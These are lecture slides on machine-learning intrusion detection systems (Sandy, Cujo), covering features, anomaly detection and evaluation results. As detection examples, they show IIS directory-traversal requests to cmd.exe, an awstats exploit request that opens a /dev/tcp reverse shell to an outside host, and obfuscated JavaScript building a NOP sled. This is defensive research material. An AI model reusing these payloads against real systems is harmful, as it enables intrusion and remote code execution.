Self-Learning Systems for Network Intrusion Detection

Konrad Rieck
Computer Security Group
University of Göttingen
About Me

» Junior Professor for Computer Security
  » Research group at the University of Göttingen
  » http://www.sec.cs.uni-goettingen.de

» Research focus: intelligent security systems
  » Combination of computer security and machine learning
  » Intrusion detection; malware & vulnerability analysis
Basic measures of computer security
- Prevention, e.g. authentication
- Detection, e.g. intrusion detection
- Analysis, e.g. forensic analysis

Security cycle out of balance
- Omnipresence of attacks and malicious codes
- Increasing automatization of intrusion techniques
- **Bottleneck**: dependence on manual analysis
Conventional Intrusion Detection

Detection using manually generated patterns (*signatures*)

<table>
<thead>
<tr>
<th>Header</th>
<th>Data payload</th>
</tr>
</thead>
<tbody>
<tr>
<td>... IP TCP</td>
<td>GET /scripts/..%35c../system32/cmd.exe</td>
</tr>
</tbody>
</table>

Signatures

† *Signature-based detection often ineffective*
  
  » Inherent delay due to manual analysis of attacks
  
  » Inability to scale with amount of attacks
  
  » Ineffective against novel and unknown attacks
**Vision: Self-Learning Intrusion Detection**

- Application of machine learning to intrusion detection
  - Automatic and quick updates of detection model
  - Detection of unknown and novel attacks

```
GET /scripts/..%35c../system32/cmd.exe
```

- **Header**
  - IP
  - TCP

- **Data payload**
  - `GET /scripts/..%35c../system32/cmd.exe`

- `benign data`
- `attacks`
Vision: Self-Learning Intrusion Detection

» Application of machine learning to intrusion detection
  » Automatic and quick updates of detection model
  » Detection of unknown and novel attacks

Header

Data payload

- GET /scripts/..%35c../system32/cmd.exe
- GET /scripts/..%c1%af../system32/cmd.exe

benign data
attacks
Vision: Self-Learning Intrusion Detection

» Application of machine learning to intrusion detection
  » Automatic and quick updates of detection model
  » Detection of unknown and novel attacks

Header

Data payload

GET /scripts/..%35c../system32/cmd.exe

GET /scripts/..%c1%af../system32/cmd.exe

GET /scripts/..%255c../system32/cmd.exe

GET /scripts/..%255c../system32/cmd.exe

benign data

attacks
Learning-based Network Intrusion Detection

Some of the stuff I’ve been doing in the last 8 years
How most systems work ...

» **Parsing and analysis**
   e.g. parsing and analysis of network events

» **Feature extraction**
   e.g. extraction of features from analysis data

» **Embedding**
   e.g. mapping of events to vectors using features

» **Learning-based detection**
   e.g. application of machine learning in vector space
 Parsing and analysis of network data
  » Generic preprocessing of data, e.g. re-assembly & parsing
  » (Optional) static and dynamic analysis of contained code

 Example: Parsing of HTTP request in key-value pairs

**HTTP request**

```
GET foo/index.html?q=42 HTTP/1.1
Host: foobar
```

**Key-value pairs**

```
HTTP-Method: GET
HTTP-Version: HTTP/1.1
URI-Path: foo/index.html
q=
42
HDR-Key[0]: Host
HDR-Value[0]: foobar
```
Feature Extraction

Analysis data of event

\[ x = \text{foo/index.html} \]

Feature extraction

Numerical features (Vectors)
- Length: 12
- Entropy: 3.4
- Alpha: 11
- Punct: 2

Sequential features (Strings)
- foo/
- oo/ind
- /index
- html

Structural features (Trees, Graphs)
- foo
- index
- html

Complexity
» **Mapping of events to vector space using features**

» Common approach for structured data: “*Bag of features*”

» Dimensions = frequencies of features in event

» **Example: HTTP requests**

» Frequency of $n$-grams (substrings of length $n$)

%35

... GET ... Acce
» **Mapping of events to vector space using features**

» Common approach for structured data: “*Bag of features*”

» Dimensions = frequencies of features in event

» **Example: HTTP requests**

» Frequency of *n*-grams (substrings of length *n*)

```plaintext
... %35 GET □ ... Acce ... %35 GET □ ...
```
» Mapping of events to vector space using features
  » Common approach for structured data: “Bag of features”
  » Dimensions = frequencies of features in event

» Example: HTTP requests
  » Frequency of n-grams (substrings of length $n$)
» **Mapping of events to vector space using features**
  » Common approach for structured data: "*Bag of features*
  » Dimensions = frequencies of features in event

» **Example: HTTP requests**
  » Frequency of *n*-grams (substrings of length *n*)

![Graph showing similarity of events in vector space](image)

Similarity of events = distance in vector space
Simple example: enclosing hypersphere
Option 1: Anomaly detection
  - Learning of a model for normality
  - Detection of unknown attacks
  - Inherent semantic gap: anomalous ≠ malicious

Simple example: enclosing hypersphere
» Option 1: Anomaly detection

» Learning of a model for normality
  ⊕ Detection of unknown attacks
  ⊖ Inherent semantic gap: anomalous ≠ malicious

Simple example: enclosing hypersphere
Option 1: Anomaly detection
- Learning of a model for normality
  - Detection of unknown attacks
  - Inherent semantic gap: anomalous $\neq$ malicious

Option 2: Classification
- Learning of a discriminative model
  - Very accurate detection
  - Representative data of attack class necessary

Simple example: enclosing hypersphere

Simple example: separating hyperplane
Learning-based Detection

» **Option 1: Anomaly detection**
  » Learning of a model for normality
    ⊕ Detection of unknown attacks
    ⊖ Inherent semantic gap: anomalous ≠ malicious

» **Option 2: Classification**
  » Learning of a discriminative model
    ⊕ Very accurate detection
    ⊖ Representative data of attack class necessary

Simple example: enclosing hypersphere

Simple example: separating hyperplane
Two Practical Realizations
» Proof-of-concept implementation developed in 2005

» Sandy: Intrusion detection system for server-side attacks
  » Re-assembly and analysis of IP/TCP payloads
  » Extraction of $n$-grams from assembled payloads
  » Attacks hard to acquire: anomaly detection

(see Rieck & Laskov, DIMVA 2006; JMLR 2008)
**Sandy: Detection Performance**

- **Empirical evaluation of Sandy and signature-based IDS**
- 10 days of HTTP and FTP traffic with 151 real attacks

ROC curve for HTTP

ROC curve for FTP

- **Multi-core throughput**: \( \sim 1 \text{ Gbit/s} \) (see Grozea & Laskov, IT 2012)
Sandy: Detection Performance

» Empirical evaluation of Sandy and signature-based IDS

» 10 days of HTTP and FTP traffic with 151 real attacks

ROC curve for HTTP

97% with 0.002% false positives

ROC curve for FTP

80% with 0.002% false positives

» Multi-core throughput: \( \sim 1 \text{ Gbit/s} \) (see Grozea & Laskov, IT 2012)
**Sandy: Visualization of Anomalies**

» Feature spaces often very high-dimensional
  » Direct understanding of learned models not possible

» Example: Feature shading in an anomalous network payload

```plaintext
GET /cgi-bin/awstats.pl?configdir=%7cecho%20%27YYY%27%3b%200%3c%26152-%3bexec%20152%3c%3e/dev/tcp/nat95.first.fraunhofer.de/5317%3bsh%20%3c%26152%20%3e%26152%202%3e%26152%3b%20echo%20%27YYY%27%7c HTTP/1.1..Host: www.first.fraunhofer.de..Connection: Keep-alive.Accept: */*.From: googlebot(at)googlebot.com.User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html).Accept-Encoding: gzip.Content-Type: application/x-www-form-urlencoded..Content-Length: 0..
```

(awstats cfg exploit)
Shift from server-based to client-based attacks in last years

Cujo: Web proxy capable of blocking client-side attacks

- Static and dynamic analysis of JavaScript in webpages
- Extraction of tokens from parsed code and its behavior
- Attacks easy to acquire: classification

(see Rieck et al., ACSAC 2010; PIK 2012)
Empirical evaluation of Cujo and anti-virus scanners

- 200,000 top web pages from Alexa and 609 real attacks

<table>
<thead>
<tr>
<th></th>
<th>Cujo</th>
<th>ClamAV</th>
<th>AntiVir</th>
<th>Zozzle</th>
<th>IceShield</th>
</tr>
</thead>
<tbody>
<tr>
<td>Detection rate</td>
<td>94 %</td>
<td>35 %</td>
<td>70 %</td>
<td>91 %</td>
<td>98 %</td>
</tr>
<tr>
<td>False-positive rate</td>
<td>0,002 %</td>
<td>0,000 %</td>
<td>0,087 %</td>
<td>0,000 %</td>
<td>2,179 %</td>
</tr>
</tbody>
</table>

- Median analysis time: ~500 ms per webpage
- 2x speed-up by early prediction (see Schütt, AISEC 2012)
- Slight delay noticeable when opening an uncached page
Conclusions
Thwarting Learning-based Detection

» Generic evasion approaches
  » *Mimicry during detection* \(\rightarrow\) *quality of features*
    Adaption of attacks to mimic normal activity
  » *Red herring during detection* \(\rightarrow\) *alert filtering*
    Denial-of-service with fake activity

» Learning-specific evasion approaches
  » *Poisoning of learning* \(\rightarrow\) *adversarial learning*
    Careful manipulation of training data
Conclusions

» **Self-learning systems for intrusion detection**
  » Learning-based detectors often superior to classic defenses
  » *Effective* – Detection rates >80% with few false alarms
  » *Efficient* – Analysis overhead hardly noticeable

» **Open questions and challenges**
  » Other challenging attack surfaces to protect, e.g. Android
  » Can we really keep pace with attack development?
  » Can we close the loop? *data — learning — patterns*
Thank you. Questions?
**Sandy: Data Set**

- **Network traffic for evaluation of detection methods**
  - Recorded network traffic (10 days)
    - | | HTTP data set | FTP data set |
    |:--|:-------------|-------------|
    | Size (connections) | 145,069 | 21,770 |
    | Recording location | FIRST | LBNL |
    | Recording host | www.first.fhg.de | ftp.lbl.gov |
    | Recording period | April 1-10, 2007 | January 10-19, 2003 |
    | Connections per day | 15,895 | 2,176 |

- **Real network attacks** *(89 HTTP attacks, 62 FTP attacks)*
  - Injected into the recorded network traffic
  - Partitioned into “known” and “unknown” sets

(Rieck, Diss. 2009)
Cujo: Data Set

Evaluation data (609 attacks & 220k benign web pages)

<table>
<thead>
<tr>
<th>Data sets</th>
<th># attacks</th>
</tr>
</thead>
<tbody>
<tr>
<td>Spam trap</td>
<td>256</td>
</tr>
<tr>
<td>SQL injection</td>
<td>22</td>
</tr>
<tr>
<td>Malware forum</td>
<td>201</td>
</tr>
<tr>
<td>Wepawet</td>
<td>46</td>
</tr>
<tr>
<td>Obfuscated</td>
<td>84</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Data sets</th>
<th># URLs</th>
</tr>
</thead>
<tbody>
<tr>
<td>Alexa 200k</td>
<td>200,000</td>
</tr>
<tr>
<td>Surfing (5 users)</td>
<td>20,283</td>
</tr>
</tbody>
</table>

Extensive collection of drive-by-download attacks (Cova et al., WWW 2010)
» Lexical and syntactic analysis of JavaScript code

» Abstraction from concrete identifiers and constants

» Special tokens, e.g. indicating string length (\texttt{STR.xx})

\begin{tabular}{|l|l|}
\hline
\textbf{JavaScript code} & \textbf{Report of static analysis} \\
\hline
1 a = ""; & 1 ID = \texttt{STR.00}; \\
2 b = 
\{[@xqhvfdsh+%(x<3<3,>,zk]+ \\
3 \phantom{=} "loh+{1ohqjwk?4333,}{.@>}"; \\
4 \textbf{for} (I = 0; i < b.\texttt{length}; i++) \textbf{.} \\
5 \phantom{=} c = b.\texttt{charCodeAt}(i) - 3; \\
6 \phantom{=} a += \texttt{String.fromCharCode}(c) \\
7 \textbf{)} \\
8 \texttt{eval}(a); & 2 \texttt{ID} = \texttt{STR.02} \texttt{+} \\
3 \phantom{=} \texttt{STR.02}; \\
4 \textbf{FOR} ( \texttt{ID} = \texttt{NUM} ; \texttt{ID} < \texttt{ID} . \texttt{ID} ; \texttt{ID} \texttt{++}) \textbf{\{} \\
5 \phantom{=} \texttt{ID} = \texttt{ID} . \texttt{ID} ( \texttt{ID} ) - \texttt{NUM} ; \\
6 \phantom{=} \texttt{ID} += \texttt{ID} . \texttt{ID} ( \texttt{ID} ) ; \\
7 \textbf{\}} \\
8 \texttt{EVAL ( ID )}; \\
\hline
\end{tabular}
Cujo: Static Analysis

» Lexical and syntactic analysis of JavaScript code
  » Abstraction from concrete identifiers and constants
  » Special tokens, e.g. indicating string length (\texttt{STR.xx})

JavaScript code

```
1 a = "";
2 b = "\[@xqvfdsh+%x<3<3%,>zk"+
3   "loh+{1ohjkw?4333,{.@}"
4 for (i = 0; i < b.length; i++)
5   c = b.charCodeAt(i) - 3;
6 a += String.fromCharCode(c)
7 }
8 eval(a);
```

Report of static analysis

```
1 \texttt{ID} = \texttt{STR.00} ;
2 \texttt{ID} = \texttt{STR.02} +
3 \texttt{STR.02} ;
4 \texttt{FOR ( ID = \texttt{NUM} ; ID < ID . ID ; ID ++ )} {  
5   ID = ID . ID ( ID ) - \texttt{NUM} ;
6   ID += ID . ID ( ID ) ;
7 }
8 \texttt{EVAL ( ID )} ;
```
Cujo: Static Analysis

» Lexical and syntactic analysis of JavaScript code
  » Abstraction from concrete identifiers and constants
  » Special tokens, e.g. indicating string length (\texttt{STR.XX})

JavaScript code

```javascript
1 a = "";
2 b = 
3 "loh+1ohqjk?4333,.@>{
4 for (i = 0; i < b.length; i++)
5 c = b.charCodeAt(i) - 3;
6 a += String.fromCharCode(c)
7 }
8 eval(a);
```

Report of static analysis

```javascript
1 ID = STR.00 ;
2 ID = STR.02 +
3 STR.02 ;
4 FOR ( ID = NUM ; ID < ID . ID ; ID ++ ) {
5 ID = ID . ID ( ID ) - NUM ;
6 ID += ID . ID ( ID ) ;
7 }
8 EVAL ( ID ) ;
```

- string arithmetics
- loop and code evaluation

Example of static and dynamic JavaScript analysis:

- Obfuscated code snippet of a web page using a customized lexical tokens which are then fed to the actual parser.
- The source code of a program can be interpreted or compiled; it needs to be decomposed into its constituent elements.
- Static analysis.
- Dynamic analysis: Behavior report.
- Abstraction from concrete identifiers and constants.
- Special tokens, e.g. indicating string length (\texttt{STR.XX}).
Lexical and syntactic analysis of JavaScript code

Abstraction from concrete identifiers and constants

Special tokens, e.g. indicating string length (\texttt{STR.xx})

\begin{minipage}{0.4\textwidth}
\begin{verbatim}
1 a = "";
2 b = \{@xqhvfdsh+%\(x<3<3%,>zk\)+"loh+\{lohqjwk?4333,\.@{>\};
3 for (i = 0; i < b.length; i++)
4 c = b.charCodeAt(i) - 3;
5 a += String.fromCharCode(c)
6 }
7 eval(a);
\end{verbatim}
\end{minipage}
\begin{minipage}{0.6\textwidth}
\begin{verbatim}
1 ID = STR.00 ;
2 ID = STR.02 +
3 STR.02 ;
4 FOR ( ID = NUM ; ID < ID . ID ; ID ++ ) {
5 ID = ID . ID ( ID ) - NUM ;
6 ID += ID . ID ( ID ) ;
7 }
8 EVAL ( ID ) ;
\end{verbatim}
\end{minipage}

Access to code patterns, e.g. loops, arithmetics, ...
Monitoring of code execution at run-time or in sandbox

» Observation of functions and HTML event handlers

» Extension of monitoring with rules and heuristics

Report of dynamic analysis

...  
6 CALL fromCharCode  
7 SET global.a TO "x"  
...  
232 SET global.a TO "x=unescape("%u9090");while(x.length<1000)x+=x;"  
233 SET global.i TO "46"  
234 CALL eval  
235 CALL unescape  
236 SET global.x TO "&lt;90&gt;&lt;90>"  
...
Monitoring of code execution at run-time or in sandbox

» Observation of functions and HTML event handlers
» Extension of monitoring with rules and heuristics

Report of dynamic analysis

```javascript
... 6 CALL fromCharCode 7 SET global.a TO "x"
... 232 SET global.a TO "x=unescape("%u9090");while(x.length<1000)x+=x;"
233 SET global.i TO "46"
234 CALL eval
235 CALL unescape
236 SET global.x TO "<90><90>"
...```

Cujo: Dynamic Analysis

Moreover we recursively prezload all external code referenced in the document including scripts, frames, and iframes to obtain the complete code base of the web page. All code blocks of a requested document are then merged for further static and dynamic analysis.

As an example running the following sections we consider the JavaScript code shown in Figure 2uav. The code is obfuscated using a simple substitution cipher and contains a routine for constructing a NOP sled an array of NOP instructions common in most memory corruption attacks. Analysis reports for the static and dynamic analysis of this code snippet are shown in Figure 2ubv and 2ucv respectively.
**Cujo: Dynamic Analysis**

» Monitoring of code execution at run-time or in sandbox
  » Observation of functions and HTML event handlers
  » Extension of monitoring with rules and heuristics

Report of dynamic analysis

```javascript
... 
6  CALL fromCharCode
7  SET global.a TO "x"
... 
232 SET global.a TO "x=unescape(\"%u9090\")\nwhile(x.length<1000)x+=x;"
233 SET global.i TO "46"
234 CALL eval
235 CALL unescape
236 SET global.x TO "<90><90>"
... 
```

- **hidden code**
- **nop sled generation**
Cujo: Dynamic Analysis

» Monitoring of code execution at run-time or in sandbox
  » Observation of functions and HTML event handlers
  » Extension of monitoring with rules and heuristics

Report of dynamic analysis

...  
6 CALL fromCharCode  
7 SET global.a TO "x"  
...  
232 SET global.a TO "x=unescape("%u9090");while(x.length<1000)x+=x;"  
233 SET global.i TO "46"  
234 CALL eval  
235 CALL unescape  
236 SET global.x TO "<90><90>"  
...  

Access to behavioral patterns, e.g. exploitation, ...